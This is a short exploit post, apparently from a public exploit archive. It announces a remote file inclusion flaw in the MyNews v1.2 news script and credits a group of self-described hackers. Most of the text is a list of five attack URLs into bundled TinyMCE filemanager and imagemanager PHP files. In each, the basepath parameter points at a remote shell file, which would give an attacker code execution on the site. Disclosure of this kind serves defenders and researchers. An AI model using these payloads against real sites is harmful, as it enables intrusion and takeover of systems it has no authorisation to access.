MyNews 1.2 Remote File Inclusion

`MyNews v1.2 Remote File Inclusion Vulnerability  
  
<<!>> Found by : kurdish hackers team  
  
<<!>> C0ntact : pshela [at] YaHoo .com  
  
<<!>> Groups : Kurd-Team  
  
<<!>> site : www.kurdteam.org  
  
=======================================================  
+++++++++++++++++++ Script information+++++++++++++++++  
=======================================================  
  
<<->> script :: MyNews v1.2   
  
<<->> download script :: http://mynews.magtrb.com/  
  
=======================================================  
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++  
=======================================================  
<<->> Exploit ::  
  
>>> www.site/MyNews/includes/tiny_mce/plugins/filemanager/classes/FileManager/FileSystems/ZipFileImpl.php?basepath=[shell.txt?]  
/MyNews/includes/tiny_mce/plugins/filemanager/classes/FileManager/FileManagerPlugin.php?basepath=[shell.txt?]  
MyNews/includes/tiny_mce/plugins/filemanager/classes/FileSystems/RootFileImpl.php?basepath=[shell.txt?]  
MyNews/includes/tiny_mce/plugins/imagemanager/classes/ImageManager/ImageManagerPlugin.php?basepath=[shell.txt?]   
MyNews/includes/tiny_mce/plugins/filemanager/classes/CorePlugin.php?basepath= [shell.txt?]   
=======================================================  
<<->> All freinds , Zryan_kurd ,Root-SyS , all Member cold hackers team(cmg-team.com) , all kurdish hackers  
=======================================================  
`